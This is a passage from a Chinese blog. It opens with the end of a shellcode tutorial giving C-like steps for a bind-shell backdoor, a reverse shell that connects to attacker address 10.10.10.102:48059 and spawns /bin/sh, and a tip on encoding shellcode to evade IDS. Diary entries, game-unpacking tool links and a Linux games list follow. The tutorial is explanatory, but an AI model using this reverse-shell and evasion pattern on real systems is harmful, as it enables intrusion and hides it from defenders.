    server_addr.sin_family=2              协议族为IP
c) 将端口和IP绑定到Socket上
  bind(server, (struct sockaddr *)&server_addr, 0x10)
d) 以监听模式启动socket:打开端口并等待连接
  listen(server, 0)
e) 有连接时,向客户返回一个句柄
  int client
client=accept(server, 0, 0)
f) 将返回的句柄,复制到stdin、stdout、stderr,shell输出到攻击者(client)的屏幕
  dup2(client,0)
  dup2(client,1)
  dup2(client,2)
g) 调用普通的execve执行shellcode
  char *shell[2];
shell[0]="/bin/sh"
    shell[1]=0
execve(shell[0], shell, 0)
 
4、反向连接的shellcode
    当目标计算机在防火墙后时,防火墙不允许外边的计算机主动访问目标机器。所以即使采用上边的shellcode建立了服务后门,你还是不能与目标计算机建立连接。反向连接的含义就是,让目标计算机通过特定的IP(攻击者的)和端口反向连接到攻击者,也可以设定为在固定的时间段主动来建立连接。
    很多木马就利用这种方式,主动连接带木马的管理者,"神不知,鬼不觉"地把目标计算机加入到某个"僵尸网络"的黑社会团伙中。
a) 建立本地IP Socket,TCP
  int soc
  soc=socket(2,1,0)
b) 用IP和端口建立一个Sockaddr_in结构
  struct sockaddr_in server_addr
    server_addr.sin_addr.s_addr=0x660A0A0A   socket的地址设为10.10.10.102
    server_addr.sin_port=0xBBBB             socket的端口设为0xBBBB=48059
    server_addr.sin_family=2                 协议族为IP
c) 建立反向连接connect
  int remote
remote=connect(soc, (struct sockaddr*)&server_addr, 0x10)
d) 将socket复制到stdin、stdout、stderr,shell输出到攻击者的屏幕
  dup2(soc,0)
  dup2(soc,1)
  dup2(soc,2)
e) 调用普通的execve执行shellcode
  char *shell[2];
shell[0]="/bin/sh"
    shell[1]=0
execve(shell[0], shell, 0)
注意:10.10.10.102为防火墙外攻击机器的地址,此时在该机器上要启动一个监听48059端口的服务
 
5、躲避IDS的过滤
    由于经典的Shellcode并不是有很多的版本,大多数人员都是采用同样的Shellcode,很少有人自己编写。所以IDS厂商把常见的Shellcode的指纹提取出来,作为验证攻击行为的"特征",很多攻击行为就暴露在IDS的监控之下,网络管理人员可以很快知道你到了他的网络内部,进而采取"捕获"措施。
    所以,隐藏指纹,变换代码,Shellcode也在不断更新。技术很多,这里就不例举了,提一个有意思的思路:因为Shellcode的基本功能相同,都是诱使目标机器执行这些指令,目标代码在传输和存放时是很容易被IDS或系统察觉的,那么直到被执行前才恢复原来面貌是一个好注意。所以有人通过把代码简单移位,"加密"后的代码没有任何"意义",到执行前再反向移位,被检测到的概率就小多了,这种方式对躲避IDS是很有效果的。
文章来源:zhaisj.blog.51cto.com/219066/61428

变化

今天又有个同事要出国了,一天我们都聚到一哥们家里打麻将,可惜我这人不好这个,看了一整天电视,给我累的要命,我发现我是一个很不能塌实下来做事情的人.除非有很有力的约束.不过我一向叛逆于约束,所一找个能约束自己的女人应该是自己的福分,希望在2010之前实现这个愿望.
一个个都走了说实话公司的地铁项目成功率极其高但是就现在的人员配备和那个只知道往自己兜里弄钱的领导是不会考虑长远发展的,反正倒闭了还有总公司给顶着.感觉很辛酸,这几年自己的确虚度了光阴.

Saturday, March 14, 2009

公寓食堂的伙食越来越不成样子了

今天一看所有的菜都有肉,我实在恶心这个.不是说有肉不好,只是火候都不到,而且那肉色味都是让人看了就不爱吃的.或许我不怎么吃肉的原因就是这样造成的吧.今天打了份宫暴鸡丁,差点没将我吃死,吃完了看会电脑就头晕,恶心,然后用手法将这些吃的东西都吐出来了,整个人精神多了.吃了碗泡面和几块菠萝.不过现在喜欢上以前最讨厌的工业圆伙食.

Friday, March 13, 2009

研究了下剑侠的压缩工具

终于发现剑侠的XPack来自一个项目LZO的压缩,其内部分配格式为
index id time filename  Size InPakSize ComprFlag CRC
UCL 1.01 built Aug 15 2007
相关LZO的站点:http://www.oberhumer.com/
准备从研究金山的游戏进入游戏大门

Wednesday, March 11, 2009

部分游戏解包工具

http://bbs.2dgal.com/read.php?tid=38246&page=e
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RPGVIEWER
这个是国产的,针对具体游戏很有效果!
AFSExplorer
解包PS2游戏afs格式文件的工具,可以从afs文件里提取文本、字库、图片、语音等等等。同样也是属于实况足球10用的工具。不过如果你所中意的某款PS2游戏使用的是AFS格式的话,那么你就可以通过使用这个工具并配合上面的 OPTPIX.IMAGESTUDIO.V3.12A-TRiNiTY来提取CG了。

DkZ Studio 084b
同样是解包 PS2游戏afs格式文件的工具,可以从afs文件里提取文本、字库、图片、语音等等等。同样也是属于实况足球10用的工具。不过如果你所中意的某款 PS2游戏使用的是AFS格式的话,那么你就可以通过使用这个工具并配合上面的OPTPIX.IMAGESTUDIO.V3.12A-TRiNiTY来提取CG了。另外这个工具有ADX->WAV音轨的转换功能。(ADX,PS2常用的一种音轨格式,MO THEN AGAIN的音轨就是用这个东西来转换的),另外这个工具对AFS文件的支持有时候不如AFSExplorer。如果使用这个解不了的一些AFS,不妨试试用AFSExplorer解。

Susie32+Susie32解包插件
这个就不多说了,配合相应的插件可以解许多归档文件包,也可以解许多压缩了图片。总之,就是windows下提取GALGAME CG的强大工具。汉化PC游戏的时候可以用到一些。

ExtractData.zip
06年3月出现一个解包器,支持很多GALGAME游戏的解包,同时附带源代码。日本的现在是1.2版本

HyperPackage010.rar
支持大部分ego游戏的解包和封包。同时还支持SHUFFLE(好象)

KID游戏提取机.zip
这个不用多介绍了吧。

LeafUnpacker010b.rar
支持ToHeart2 XRATED和Tears to Tiara解包。

giga_pac_unpacker_Ver1.00.rar
支持戏画的Parfait、青空、Fossette的解包

BFE_pac_unpacker_Ver1.00.rar
支持戏画的BALDR FORCE EXE的解包

Studio e.go!公司提取工具
名称:Ego_Unpacker 英文版
通杀所有该公司出品的游戏 不仅能提取CG 其他数据同样一网打尽

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再转[部分地址无效]
http://yydzh.com/simple/index.php?t320408.html
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抽取游戏CG工具

Studio e.go!公司提取工具
名称:Ego_Unpacker 英文版
下载地址:http://free5.ys168.com/?windseven
备注:
通杀所有该公司出品的游戏 不仅能提取CG 其他数据同样一网打尽

Leaf游戏专用提取工具
名称:LeafUnpacker 中文版
下载地址:http://free5.ys168.com/?windseven
备注:
同样来自风七的作品 向您致敬!

KID游戏专用提取工具
名称:KTG_v15b050905(Kid Tools GUI) 英文版
下载地址1:http://pickup.mofile.com/ 提取码:2852839562422957
下载地址2:http://free.ys168.com/?firebird2005

RPG游戏提取工具
名称:RPGViewer
下载地址:http://free.ys168.com/?pigspy
备注:
不要忘记同时下载RPGViewerSupportFile,并解压至RPGViewer目录。可导出的游戏清单详见第23楼。

名称:ACG Converter
官方地址:http://www.angelfire.com/nm/fbkcfy/

备注:
若访问不了 请挂国外代理 去这里找:http://cnproxy.com/
软件使用说明见这里:http://www.westside.co.jp/otacd/help/mcgconv/mcgconv.htm

名称:Susie 英文版
官方地址:http://www.digitalpad.co.jp/~takechin/
备注:
鼎鼎大名的老牌提取工具 功能虽比不上Grapholic强大 但自身拥有丰富的解码插件及外围Spi制作者的支持 注定在这个领域它是绝对的霸主

名称:Grapholic 英文版
下载地址1:http://pickup.mofile.com/ 提取码:1441402290848042
下载地址2:http://free.ys168.com/?firebird2005
备注:
Grapholic可自动侦测到spi插件 不过若想加载这些插件尚需做些设置 具体设置如下:
进入Option—Settings—Plugins选项菜单 勾上Enable Susie Plugin一栏 然后在下面的插件显示列表右边点击Enable即可
另外Susie32 Plugin has first pr一栏 意为优先选择Susie解码插件 可根据自己需要勾上与否

名称:SPI2BMP 英文版
官方地址:http://www.marchen.to/
备注:
Susie的辅助工具 支持SPI插件集 可批量转换CG成BMP格式

名称:MamiList3 日文版
官方地址:http://www.dsl.gr.jp/~sage/mamitool/mlist3/
备注:
主要针对Elf公司的资源解码,也包括Silk's的Flutter of Birds/Flutter of Birds II两游戏

名称:FMV-Extractor 英文版
官方地址:http://www.necrotech.de/
备注:
在其他工具无能为力的情况下,不妨试试这个工具,或许它能带给你惊喜。Kaguya出品的游戏背景图我就是靠这个工具搞定的。

名称:Dragon UnPACKer 5 英文版
官方地址:http://www.elberethzone.net/
备注:
针对欧美游戏的资源提取,网站上附有可解游戏清单。

提供SPI解码插件或相关信息的网站
http://m-akita.sakura.ne.jp/
http://www2f.biglobe.ne.jp/~kana/link.html
http://hajikaki.ld.infoseek.co.jp/
http://homepage1.nifty.com/k_okada/index_e.htm
http://www.asahi-net.or.jp/~ds8h-wtnb/software/index.html http://elku.at.infoseek.co.jp/other.html
http://www.westside.co.jp/

2008年Linux的25个顶级游戏

如果你对linux平台的游戏感兴趣,那么你一定知道这个游戏可能是开源的,大多数也是免费的,你可以只有的更改,这些特性就造成了Linux游戏是这样的流行,一个开发者可以做出一个好的游戏并使它完善,和世界上的人分享,变成一个英雄。所以,在大量的Linux游戏存在的情况下,为什么还在私有游戏浪费你的时间和金钱呢?

我们下面就列出了2008年Linux平台的25个顶级游戏,我们开始为这些游戏排名左右为难,但我们明确的相信Spring在2008的名单中排头。

考虑到每个游戏类型之不同,且在它们的联盟中都是最棒的,我们对这个排名做了些保留。比如我们把一些玩家爱喜欢的freeciv放到#3,而其他的更喜欢 简单一点的Battle for Wesnoth 韦诺之战放到#6,有的呢则一点也不喜欢文明之类的游戏,而他们痴迷于老游戏,Tux Racer (#18)。 列出来的游戏我们主要关注与他的Linux发行版的版本,同样的有些游戏也有window和mac版本,我们同样在没有游戏的后面增加了价格,链接,下载 等信息。

Spring - (Linux, Windows) 比起2007,你更期待2008的排行吗?那看看Spring (也称TA Spring 或者 横扫千军: Spring) . TA Spring 可以毫无瑕疵玩横扫千军中所有的场景. 可以支持5000个一样的单位同时作战,只受你电脑能力的限制. 你可以在3D高清晰地图上发到大型的战争,通过照相机模式,可以通过任何一个角度观察战争. 游戏每次只适用很多修改版块中的一个.价格: 游戏的核心以GPL协议发布. 幸运的是现在任然有两个修改版以GNU/GPL协议发布,还有一些没有明确的发布形式(被修改者所有). 然而也有一些以Atari版权发布. 如果想玩,就必须取得他原始的游戏.下载.

TremulousTremulous - (Linux, Windows, Mac) 这是一个自由开源的FPS游戏, 和Quake2的Gloom很像. Tremulous是个分两组游戏,一边是人类,一边是异形,每边都有自己的缺点和优点.双方的玩家都可以像即时战略的形式来建造建筑. 游戏的最终目的就是消灭对方. 消灭的方法不光是消灭对方的人,同样可以破坏对方的建筑,.一个游戏已经被下载了10W次.他在MOD database的mod之年之2006的比赛中被评选为"玩家单机游戏最佳选择", 在 Moddb.com 2007比赛中的 单机游戏 中获得第五名. 不过重2006年到现在还没有新的版本发布. 价格: 免费.下载 (Linux, Windows) 下载 (Mac).

FreeCivFreeCiv - (Linux, Windows, Mac)这个开源游戏始于史前史,你的任务就是领导你的部落从石器时代走向太空时代. 这个游戏类似于Sid Meier出品的《文明》. 它是回合制策略游戏 ,你可以通过你领导的部落历史上最强大的文明.你的目标就是建设城市, 采集资源,组建你的政府,并且建设一个军队.这个可能是开源游戏里边最上瘾的帝国建造策略游戏了. 支持3个角色设置, 因为太流行了,被翻译成了29种语言,支持30个用户通过互联网,局域网连战. 价格: 免费. 下载.

NexuizNexuiz - (Linux, Windows, Mac) Nexuiz 已经被一个Lee Vermeulen为首叫做 Alientrap的 业余编程爱好者团队开发了近5年,.它们的目标是创建一个免费的可以和商业游戏相媲美的动作游戏. 它是一个完全通过网络完成的3D对抗游戏 ,目的是为了让游戏回到起点 ,加上完美的武器平衡和快节奏的动作,使它于现实种的枪手完全不同. 它使用Evil Lair开发的HFX纹理 ,现在呢有27的地图可供选择.通过高级的用户接口,可以在15个玩家模式之间选择, 每模式有两个皮肤, 可以来连接到主服务器和世界各国的玩家同场竞技. 这个游戏开源,跨平台,FPS. 现在的版本是, 2.2.3, 于2007.1发布. 价格: 免费. 下载.

Alien Arena外星人竞技场- (Linux, Windows) Alien Arena是即时,回合,策略,动作游戏, 快,且好玩. 这个游戏包括单用户作战,和更加突出的多用户作战. 不过这些已经是过去,因为现在 6.10版本 加入和更大的改进,增强和很多惊喜. Alien Action 第一次发行是在2004.10. 从初始版本到现在每个方面都在不断的修改.现在看起来就像一个新游戏. 最新的版本包含了7个崭新的竞技场 ,加入了声效和武器集 (加入和新武器Violator!), 和在决斗模式中可以实现1 VS 1 . 输入和网络代码的优化改进使即使在150以上的PING值也可以流畅的游戏. 最后,但不是不重要, CURL实现地图和内容更快下载 . 价格: 免费. 下载 (如果你已经有了Alien Arena 2007, 你需要在其基础上安装6.10来给它打个补丁.)

韦诺之战 - (Linux, Windows, Mac) 不过一切的为了Wesnoth的王位而战斗, 或者尝试才发布的 1.3.15版本中的历险. 游戏的背景设置在一个16个种族和6个小团体的幻境中. 有200单位生产不同的武器和能力. 6个主要的种族. 有人类 侏儒 兽人 矮子,侏儒 不死,鸭子 . 随着游戏的提高,玩家可以和其他种族结盟,比如 saurians, merfolk, nagas, ogres, trolls and woses. 只有最后现在和8个朋友对战. 比起Freeciv,有些人更喜欢Wesnoth的可上手性. 这个网站很有趣,包括了Wesnoth的历史和游戏的历史, 和人物特性和地理位置的描述. 价格: 免费. 下载.

Scorched 3DScorched 3D - (Linux, Windows, Mac) Scorched 3D是一个类似于经典DOS游戏Scorched Earth的战斗游戏, Scorched 3D 增加了一个3D的岛屿的环境和对联网对战的支持. 其最底层只是一个有两个坦克的炮兵部队攻击对方敌军的一个场景.选择好你的角度,方向,发射你的武器,尽量使对方的坦克爆炸.当然,这是最基本的任务.而 这个模式使它成为了2008的赢家.游戏还有启示, 操作坦克, 清道猎杀, 爆炸战争等很多MOD. 版本41.6才在2008.1.20发布 价格: 免费. 下载.

Frets on FireFrets On Fire - (Linux, Windows, Mac) Assembly Demo Party 2006的赢家, Frets on Fire 是 Unreal Voodoo开 发的以完成音乐和视频的游戏. 玩家像弹吉它一样的来用键盘,更随着屏幕上滚动的音乐乐谱来完成任务. 一只手用来按 'frets' (F1 to F5)另一只按 'picks' (Shift or Enter). 通过按 'frets'来播放那些着色的标记,按 'picks'来掌握准确的. 游戏中也有音乐编译和指南. Frets on Fire是自由开源软件. 它用Python开发,且基于GPL发布,某些代码通过其他自由协议发布. 但是它其中的歌曲和字体是私有的,所以不可以再发布. 价格: 免费. 下载.

Secret Maryo Chronicles超级玛丽历代记 - (Linux, Windows) Secret Maryo Chronicles (SMC) 是一个二维的开源游戏,类似于一般的通关游戏. 华丽的图形和有趣的通关,让您耳目一新,想起了超级马里奥. SMC 集成了一个游戏编辑器 - 通过按F8来激活. 你可以增加第二,改变你在每关的起始点, 添加活动的精灵, 可以创建一个正好你可以跳过的精灵,等等. .去上面的网站了解更多关于不同图形, 精灵, 和起始位置. 尽管SMC很简单,但是Powerup层把smc搞得很复杂也很有趣. 价格: 免费. 下载.

World of PadmanWorld Of Padman - (Linux, Windows, Mac) WOP 是使用Quake3引擎的漫画风格的游戏. 这个游戏的特性就是支持所有的游戏类型. Padman在2007个人游戏MOD比赛中 夺得了第四名. 价格: 免费. 下载.

Vendetta深仇大恨 - (Linux,Windows, Mac) 游戏中玩家扮演在无垠的宇宙中的航天飞船驾驶员. 用户可以用自己的风格来塑造人物形象, 可以是一个企业首脑,军事英雄,或者是一个歹徒。加上在一个巨大的银河中一个快节奏和"转变"战斗模式给人强烈的冲击,. 在一些NPC制造的经历抢夺,政治阴谋,冲突等环境下,几大派别可谓是势均力敌. 完整的宇宙和详细的故事情节,造就了非一般的游戏体验. 价格:游戏可在无附加任何条件的情况下免费使用, 试玩时间限制为8个小时. 觉得好玩,可以升级为付费版. 下载 (使用帐户).

SauerbratenSauerbraten - (Linux, Windows, Mac) Sauerbraten (a.k.a. Cube 2)是一个基于 Cube FPS的从新设计版本的单、多用户游戏.尽管 Sauerbraten和Cube在游戏设计思路上有共同之处, 但是它有一个6向定点世界模式. 这个补充使游戏具有了更复杂的几何图形,. 和Cube很像的地方在于, 游戏的目的并不是简单的满足于视觉上的效果,而是在游戏的同时动态的创建地图. 此为这个FPS游戏十分的耐玩,他的引擎正在被用来研发一个RPG游戏. The scenes are reminiscent of Myst, with Gothic perspectives and realism. 价格: 免费. 下载 (Linux, Windows) 下载 (Mac)

VDriftVDrift - (Linux, Windows, Mac) VDrift是一个跨平台开源的模拟驾驶游戏.他有16个跑道和29个车型. 它使用一个简单的网络多用户模式连战.您可以使用鼠标,键盘和手柄来控制. 游戏中可以任意的改变游戏和车型的设置,对比赛回放,也有多种的模式。. 价格: 免费. 下载.

VegaStrickVegastrike - (Linux, Windows, Mac) Vega Strike是一个GPL下发布的三维的RPG游戏,玩家可以进行贸易和悬赏追捕. 你任职于一个旧的旅客货船上, 你根本就不是知道你生活的未来是什么,工作正好可以维持生计. 危险就在不远的地方.随着时间的推移,你会发现有大量的政治实体出现,并且它们并不都是和平相处的.. The Vega Strike 引擎是Privateer Gemini Gold, Privateer Remake, Vega Trek, 和 Pi Armada projects的基础. 价格: 免费. 下载.

Battlestar Galactica群星尽头:第二基地 - (Linux, Windows, Mac) Beyond the Red Line 是一个单机游戏,由Volition and Interplay开发的《自由空间(freespace)》转换而来. 根据一个叫 Battlestar Galactica的TV秀而来. 你将会对船模的高解析度和高质量声音而惊叹, 游戏内置音乐由Bear McCreary和Richard Gibbs制作. 联机可以和你的朋友进行对抗赛,多玩家包括死亡竞赛, 抢占据点, 和其他像《Viper》的一些模式 . 价格: 免费. 下载.

ExcaliberExcalibur: Morgana's Revenge v3.0 (EMR 3.0) - (Linux, Windows, Mac) EMR 是唯一一个基于Aleph One (马拉松) 引擎. 是包含一个史诗般的故事情节的第一人称动作冒险游戏. 作为盟军在你的最后任务中启航探险,发现你的任务才刚刚开始. AI Merlin教会了你时光旅行技术,且告诉了你新的任务: 从Morgana和它的下手中拯救出人类. 穿过野生丛林, 城堡竞技场, 穿过未来饱经战乱的街道, 你将随时挥舞武器 - 包括Sword of Power,Excalibur - 试图解开恶魔的秘密阴谋. EMR冒险 , 42个单独的关卡, 编织了一关于事实,真诚, 勇敢的传说, 和背叛的阴暗面.. EMR是你沁入在一个惊奇的世界, 是你得到快乐的游戏体验. 价格: 免费. 下载.

True Combat Elite TrueCombat: Elite (TC:E) - (Linux, Windows, Mac) TC:E 是一个现在社会的完全免费的的单机FPS游戏.,Truecombat Elite由玩家制作,自己娱乐. TC:E现在正在被GrooveSix工作室和TeamTerminator共同开发.TeamTerminator因开发基于Q3的 TrueCombat系列而广为人知, GrooveSix工作室起于TrueCombat的辞职创建者,因此它经历了一个Q3的创建过程, TC:E 希望更多的奉献于游戏联盟,到那个时候TC:E会让你成为两个攻击冲突力量中强大的雇佣兵. 价格: 免费. 下载.

Tux RacerTux Racer - 一个用LINUX吉祥物-tux来制作的一个企鹅滑雪下坡的3D游戏. 选择杯子然后就是了和电脑的比赛. 当你解锁了默写关卡后,杯子会给你更多的惊险刺激的关卡. 网站上说Tux Racerz在2001.10.19发布0.6.1版本.虽然这样老了,但是它确实是个很好玩的游戏,因为你可以记录自己的通关记录,通过小小的修改可以 玩到新鲜的东西. Tux Racer 有大量的设置,可以通过添加地图,比如添加三个光珊图片来定义物体的高度和摆放位置. 价格: 免费; 下载.

TORCSThe Open Racing Car Simulator (TORCS) - (Linux, Windows, Mac) TORCS高度移植的仿真驾驶游戏.它被来当作普通的游戏,而把AI racing当作一个研发的平台. TORCS 中有50个车型,20个赛道,50个竞技板块. 在平台支持的情况下可以使用手柄和转盘来掌舵. 图形有灯光,烟雾,刹车板. 同时也模拟了一个简单的物理破坏模型:撞车,爆胎,车胎的软硬, 空气动力学等. 从简单的联系环节到冠军赛都有不同的比赛类型可供选择. 在分屏模式下最多4个玩家可以比赛.下个开发目标就是要实现网络连战. 价格: 免费. 下载.

Flight GearFlight Gear - (Linux, Windows, Mac) 灵感来自于对现在商业战斗游戏的不满意.Flight Gear 项目就是为了填补商业游戏的缺点. FlightGear项目创建的一大目的是开发出一个精密的战斗方针框架出来,这个框架主要用于教育研究、追赶其他有趣的游戏框架, 也可以作为一个最终用户程序. 开发成员毫不自疑的认为任何人只要对这个项目感兴趣都可以为这个框架的扩展和提高做贡献. 另外, Flight Gear 有些模拟的精准和使用的地形,可以帮助你瞄准目标价格: 免费. 下载.

ManiaDriveManiaDrive - (Linux, Windows) ManiaDrive是Trackmania免费克隆版,由Nadéo工作室制作, 这是一个街机汽车游戏,玩的时候让你刚到紧张 (记录重来没有被超过1分钟的), 像原来的版本一样有个网络模式. 一旦你安装了,你会在跑道上以极速跑离车道,让人不禁联想到特技赛车.游戏配备了复杂的汽车图形, 挑战"故事模式" ,一个跑道编辑器, 局域网,互联网模式,HTTP接口专用服务器, 30多个街区的完整音乐. 跑道边的广告音乐是 Maniadrive的一些优秀的音乐伴奏. 音乐既合适也有相当高的品质 . 价格: 免费. 下载.

D2X-XLD2X-XL - (Linux, Windows, Mac) D2X-XL是Descent目前功能最丰富的一个版本,因为它提供诸如彩色光, 烟雾, 实时影子,新的武器特效和更加到多玩家模式.作为Discent的一个重要移植版,它保留了对原游戏的兼容性并可以一个图形升级版来改变外观. 当你到网站去的时候, 价格: 免费. 下载.

Hammer of ThyrionHexen II: Hammer of Thyrion - (Linux, Windows, Mac) 在2000年, Raven Software 发布了射击游戏Hexen II的源代码和它的多玩家扩展HexenWorld. 从那个时候开始就有了基于它源代码的移植游戏, 比如 已经停止了的Anvil of Thyrion项目, 2002年之前它在linux没有任何的动作. The Hammer of Thyrion跨平台源代码移植: 开发者继续在linux ,bsd , mac os x ,windows上长期的支持. 溢出了很多BUG,增加了很多模式,改进鼠标的操控,视屏模式,和更充分的利用了OpenGl的特性 价格: 免费. 下载.

Ultimate StuntsUltimate Stunts - (Linux, Windows) 这个汽车游戏之所以榜上有名是因为它是正在开发中的伟大杰作. UltimateStunts是著名的DOS游戏stunts 的改造版. 虽没有完成,但是对原来的游戏来说有很大的提高啊. Stunts 只是一个使用CGA/EGA/VGA图形的老DOS游戏, 但是 Ultimate Stunts是一个现代的多平台程序. 在游戏中有种玩特技的感觉,比如回环,盘旋,跳桥等动作. 同上也具有多玩家,编辑地图,3D音效等特性. 价格: 免费. 下载.

America's ArmyAmerica's Army: Special Forces - (Linux, Windows, Mac)我们在犹豫是否把这个列入名单,但是它确实是现在很流行的,且要占领更大的市场. 我想把在这个游戏后面的故事给大家说说. America's Army 是一个免费的游戏,提供给美国招募军队和训练的时候使用. 但这样引起了一个对道德的争论 (网速慢的玩家被重定向到可以免费获得这个游戏CD的美国军队招募中心). 不过进一步的来说,这个游戏很严肃不具有很强的娱乐性. 比起其他军队的射手,玩家的原型运动细节的捕捉上要相信N倍.在最近的版本中,它更像是一个FPS游戏了.因为这个是这个游戏失去了团队任务的特性,. 考虑到这个游戏是美国军队出品了,我们怀疑钢盔上面是否有洞. 在 GameSpy调查了这个游戏发现从2002到2005平均有4500人玩.对美国军队来说应该可以排入网络游戏的前十名了. 价格: 免费. 下载.